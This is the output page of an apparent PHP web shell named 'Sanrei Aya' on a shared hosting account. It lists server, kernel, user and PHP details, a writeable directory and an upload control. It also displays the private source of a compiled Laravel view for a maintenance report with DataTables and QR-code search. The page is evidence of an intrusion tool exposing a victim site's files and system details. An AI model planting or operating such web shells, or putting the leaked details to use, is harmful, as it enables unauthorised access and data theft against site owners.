Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/storage/framework/views/3fa9db1d1378ae5fd8b61ed0273fb575.php
<?php $__env->startSection('title', $breadcrumbs[count($breadcrumbs) - 1]['name']); ?>

<?php $__env->startSection('content'); ?>
    <?php echo $__env->make('components/breadcrumb', ['breadcrumbs' => $breadcrumbs], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
    <?php echo $__env->make('components/print-header', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
    <?php echo $__env->make('components/qrcode-scan', ['width' => '0'], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
    <?php echo $__env->make('components/modal-qrcode-scan', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>

    <!-- Main content -->
    <section class="content">
        <div class="container-fluid">

            <div class="row d-print-none">
                <div class="col-md-2 mb-2">
                    <div class="bg-purple h-full rounded text-center d-flex flex-column justify-content-center align-items-center">
                        <span class="text-capitalize font-weight-bold">total visit</span>
                        <h2 class="text-capitalize font-weight-bold" id="lbl_total_row">0</h2>
                    </div>
                </div>

                <div class="col-md-10 mb-2">
                    <div class="row">
                        <div class="col-md-3 col-6 mb-2">
                            <label class="form-label fs-5" for="date_from">Date From</label>
                            <div class="input-group date" id="show_date_from" data-target-input="nearest">
                                <input type="text" class="form-control datetimepicker-input" data-target="#show_date_from" id="date_from" name="date_from" placeholder="DD-MMM-YYYY"
                                required/>
                                <div class="input-group-append" data-target="#show_date_from" data-toggle="datetimepicker">
                                    <div class="input-group-text"><i class="fa fa-calendar"></i></div>
                                </div>
                            </div>
                        </div>

                        <div class="col-md-3 col-6 mb-2">
                            <label class="form-label fs-5" for="date_to">Date To</label>
                            <div class="input-group date" id="show_date_to" data-target-input="nearest">
                                <input type="text" class="form-control datetimepicker-input" data-target="#show_date_to" id="date_to" name="date_to" placeholder="DD-MMM-YYYY"
                                required/>
                                <div class="input-group-append" data-target="#show_date_to" data-toggle="datetimepicker">
                                    <div class="input-group-text"><i class="fa fa-calendar"></i></div>
                                </div>
                            </div>
                        </div>

                        <div class="col-md-3 col-6 mb-2">
                            <label class="form-label fs-5" for="code">Code</label>
                            <div class="d-flex flex-row">
                                <input type="text"
                                    class="form-control" id="code" name="code" placeholder="Scan QRCode item here"
                                    onkeypress="pressEnter(event)"
                                />

                                <button type="button" class="ml-2 btn btn-info" onclick='openCamera()'>
                                    <i class="fa fa-camera"></i>
                                </button>
                            </div>
                        </div>

                        <div class="col-md-3 col-6 mb-2">
                            <label class="form-label" for="tenant_id">Tenant</label>
                            <div class="d-flex flex-row">
                                <select class="form-control tenant_idSelect2" name="tenant_id" id="tenant_id">
                                    <?php if(Auth::user()->model_type == 'App\Models\Bussiness'): ?>
                                        <option value=0>All</option>
                                    <?php endif; ?>
                                    
                                    <?php $__currentLoopData = $tenant; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $data): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                        <option value="<?php echo e($data->id); ?>"><?php echo e($data->name); ?></option>
                                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                                </select>
                                <button id="btnSearch" type="button" class="ml-2 btn btn-primary show" onclick='btn_search()'>
                                    <i class="fa fa-search"></i>
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="card card-solid">
                <div class="card-body">
                    <table id="example1" class="table table-sm table-bordered display nowrap">
                        <thead>
                            <tr class="bg-purple">
                                <th class="text-center"></th>
                                <th class="text-center align-middle text-capitalize">CP</th>
                                <th class="text-center align-middle text-capitalize">series</th>
                                <th class="text-center align-middle text-capitalize">date trans</th>
                                <th class="text-center align-middle text-capitalize">tenant</th>
                                <th class="text-center align-middle text-capitalize">techician</th>
                                <th class="text-center align-middle text-capitalize">customer</th>
                                <th class="text-center align-middle text-capitalize">item</th>
                                <th class="text-center align-middle text-capitalize">service type</th>
                                <th class="text-center align-middle text-capitalize">description</th>
                                <th class="text-center align-middle text-capitalize">note</th>
                                <th class="text-center align-middle text-capitalize">create by</th>
                                <th class="text-center align-middle text-capitalize">data</th>
                            </tr>
                        </thead>
                        <tbody></tbody>
                    </table>
                </div>
            </div>

        </div><!--/. container-fluid -->
    </section>
    <!-- /.content -->

    <?php echo $__env->yieldContent('modal-qrcode'); ?>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-style'); ?>
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/select2/css/select2.min.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-bs4/css/dataTables.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/datatables-buttons/css/buttons.bootstrap4.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/toastr/toastr.min.css')); ?>">
    <link rel="stylesheet" href="<?php echo e(asset('assets/plugins/tempusdominus-bootstrap-4/css/tempusdominus-bootstrap-4.min.css')); ?>">

    <style>
        .table td, .table th {padding-top: 0; padding-bottom: 0; padding-left: 2; padding-right: 2;}
    </style>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-script'); ?>
    <script src="<?php echo e(asset('assets/plugins/select2/js/select2.full.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables/dataTables.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/dataTables.buttons.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.bootstrap4.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.print.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/jszip.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.html5.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/datatables-buttons/js/buttons.colVis.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/toastr/toastr.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/load-toastr.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/button-spin.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/moment/moment.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/format-number.js')); ?>"></script>
    <script src="<?php echo e(asset('assets/external/format-decimal.js')); ?>"></script>

    <?php echo $__env->yieldContent('page-script-print-header'); ?>
    <?php echo $__env->yieldContent('page-script-qrcode'); ?>
    <?php echo $__env->yieldContent('page-script-modal-qrcode'); ?>
    
    <script>
        $('.tenant_idSelect2').select2({
            theme: 'bootstrap4'
        });

        $('#show_date_from').datetimepicker({
            format: 'DD-MMM-YYYY'
        });

        $('#show_date_to').datetimepicker({
            format: 'DD-MMM-YYYY'
        });
        
        $date_from = new Date(<?php echo json_encode($date_from); ?>);
        $date_to = new Date(<?php echo json_encode($date_to); ?>);
        $item_code = <?php echo json_encode($item_code); ?>;

        document.getElementById('date_from').value = moment($date_from).format('DD-MMM-YYYY');
        document.getElementById('date_to').value = moment($date_to).format('DD-MMM-YYYY');
        document.getElementById('code').value = $item_code == 'null' ? '' : $item_code;

        function openCamera() {
            openModalQRCode();
        }

        function catch_result(decodedText = null, decodedResult = null) {
            document.getElementById("code").value = decodedText;
            closeModalQRCode();
            btn_search();
        }

        function pressEnter(e) {
            if (e.keyCode === 13) { // where 13 is the enter button
                e.preventDefault(); //ignore submit
                btn_search();
            }
        }

        var bShow = <?php echo json_encode($show); ?>;
        if (bShow) {
            btn_search();
        }

        let table = $("#example1").DataTable({
            paging: true,
            lengthChange: true,
            searching: true,
            ordering: true,
            info: true,
            autoWidth: false,
            responsive: true,
            pageLength: 100,
            scrollY: true,
            scrollX: true,
            order: [[2, 'asc']],
            
            columnDefs: [
                {
                    data: 'expland',
                    name: 'expland',
                    targets: 0,
                    className: 'dt-control',
                    orderable: false,
                    defaultContent: ''
                },
                {
                    data: 'series',
                    name: 'series',
                    targets: 1,
                    className: 'dt-body-left'
                },
                {
                    data: 'cp',
                    name: 'cp',
                    targets: 2,
                    className: 'dt-body-center'
                },
                {
                    data: 'date_trans',
                    name: 'date_trans',
                    targets: 3,
                    className: 'dt-body-center',
                    render: DataTable.render.datetime('DD-MMM-YYYY')
                },
                {
                    data: 'tenant',
                    name: 'tenant',
                    targets: 4,
                    className: 'dt-body-left'
                },
                {
                    data: 'techician',
                    name: 'techician',
                    targets: 5,
                    className: 'dt-body-left'
                },
                {
                    data: 'customer',
                    name: 'customer',
                    targets: 6,
                    className: 'dt-body-left'
                },
                {
                    data: 'item',
                    name: 'item',
                    targets: 7,
                    className: 'dt-body-left'
                },
                {
                    data: 'service_type',
                    name: 'service_type',
                    targets: 8,
                    className: 'dt-body-left'
                },
                {
                    data: 'description',
                    name: 'description',
                    targets: 9,
                    className: 'dt-body-left'
                },
                {
                    data: 'note',
                    name: 'note',
                    targets: 10,
                    className: 'dt-body-left'
                },
                {
                    data: 'create_by',
                    name: 'create_by',
                    targets: 11,
                    className: 'dt-body-left'
                },
                {
                    data: 'data',
                    name: 'data',
                    targets: 12,
                    className: 'dt-body-left',
                    visible: false
                }
            ],

            buttons: [
                'pageLength',
                {
                    extend: 'collection',
                    text: 'Control',
                    buttons: [
                        // 'copy', 'excel', 'print',
                        // custom export column only visible
                        {
                            extend: 'copy',
                            exportOptions: {
                                columns: ':visible'
                            }
                        },
                        {
                            extend: 'excel',
                            exportOptions: {
                                columns: ':visible'
                            },
                        },
                        {
                            extend: 'print',
                            exportOptions: {
                                columns: ':visible'
                            },
                            title: '',
                            message: setTitle(),
                        },
                        {
                            text: 'Visibility',
                            popoverTitle: 'Control',
                            extend: 'colvis',
                            collectionLayout: 'two-column',
                            postfixButtons: ['colvisRestore']
                        },
                    ]
                }
            ],
            layout: {
                topStart: ['buttons']
            }
        });

        table.on('click', 'td.dt-control', function (e) {
            let tr = e.target.closest('tr');
            let row = table.row(tr);
        
            if (row.child.isShown()) {
                row.child.hide();
            }
            else {
                row.child(data_detail(row.data())).show();
            }
        });

        function data_detail(data) {
            data = data.data;
            var total = 0;
            var html="";

            html +='<div class="p-3">';
                html +='<span class="mb-1 text-capitalize font-weight-bold">change part</span>';
                html +='<table class="table table-sm table-bordered display nowrap">';
                    html +='<thead>';
                        html +='<tr class="bg-dark">';
                            html +='<th class="text-center align-middle text-capitalize">item</th>';
                            html +='<th class="text-center align-middle text-capitalize">qty</th>';
                            html +='<th class="text-center align-middle text-capitalize">note</th>';
                        html +='</tr>';
                    html +='</thead>';
                    html +='<tbody>';
                        if (data.length == 0) {
                            html +='<tr>';
                                html +='<td colspan="3" class="text-center align-middle text-capitalize">No data available in table</td>';
                            html +='</tr>';
                        } else {
                            for (let index = 0; index < data.length; index++) {
                                html +='<tr>';
                                    var part = data[index].part ? data[index].part.name : "";
                                    html +='<td class="align-middle text-capitalize">' + part + '</td>';
                                    html +='<td class="align-middle text-capitalize text-right">' + formatNumber(data[index].qty, 2) + '</td>';
                                    html +='<td class="align-middle text-capitalize">' + data[index].note + '</td>';
                                html +='</tr>';

                                total += parseFloat(data[index].qty);
                            }
                        }
                    html +='</tbody>';
                    html +='<tfooter>';
                        html +='<tr class="bg-secondary">';
                            html +='<td class="align-middle text-capitalize font-weight-bold">total</td>';
                            html +='<td class="align-middle text-capitalize font-weight-bold text-right">' + formatNumber(total) + '</td>';
                            html +='<td class="align-middle text-capitalize font-weight-bold"></td>';
                        html +='</tr>';
                    html +='</tfooter>';
                html +='</table>';
            html +='</div>';

            return html;
        }

        function setButton() {
            if (document.getElementById("btnSearch").classList[3] == 'show') {
                document.getElementById("btnSearch").classList.remove("show");
                document.getElementById("btnSearch").classList.add("load");
                document.getElementById('btnSearch').innerHTML = "";
                document.getElementById('btnSearch').innerHTML = '<span class="spinner-border spinner-border-sm"></span>';
            } else if (document.getElementById("btnSearch").classList[3] == 'load') {
                document.getElementById("btnSearch").classList.remove("load");
                document.getElementById("btnSearch").classList.add("show");
                document.getElementById('btnSearch').innerHTML = "";
                document.getElementById('btnSearch').innerHTML = '<i class="fa fa-search"></i>';
            }
        }

        function btn_search() {
            var date_from = moment(new Date(document.getElementById('date_from').value)).format('YYYY-MM-DD');
            var date_to = moment(new Date(document.getElementById('date_to').value)).format('YYYY-MM-DD');
            var tenant_id = document.getElementById('tenant_id').value;
            var item_code = document.getElementById('code').value;
            item_code = item_code == "" ? "null" : item_code;
            
            $.ajax({
                dataType: 'json',
                type: "GET",
                url: '<?php echo e(env('APP_URL')); ?>' + "/api/report/maintenance/" + date_from + "/" + date_to + "/" + tenant_id + "/" + item_code,

                beforeSend: function() {
                    setButton();
                },
                complete: function() {
                    setButton();
                },
                success: function(data) {
                    document.getElementById('lbl_total_row').innerHTML = data.length;
                    var table = new DataTable('#example1');
                    table.clear().draw();

                    if (data.length > 0) {
                        const newArray = data.map(col => {
                            return {
                                expland: '',
                                cp: col.series,
                                series: countCP(col.maintenance_detail),
                                date_trans: col.date_trans,
                                tenant: col.tenant ? col.tenant.code : '',
                                techician: col.technician ? col.technician.name : '',
                                customer: col.customer ? col.customer.name : '',
                                item: col.item ? col.item.name : '',
                                service_type: col.service_type,
                                description: col.description,
                                note: col.note,
                                create_by: col.user ? col.user.name : '',
                                data: col.maintenance_detail,
                            }
                        })
                        
                        table.rows.add(newArray).draw();
                    }
                },
                error: function(xhr, status, error) {
                    alert(error);
                    setButton();
                    return;
                }
            });
        }

        function countCP(data) {
            return data.length;
        }
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts/app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /home/elvh3918/public_html/pmm/resources/views/content/report/maintenance.blade.php ENDPATH**/ ?>

Yohohohohohooho | Sanrei Aya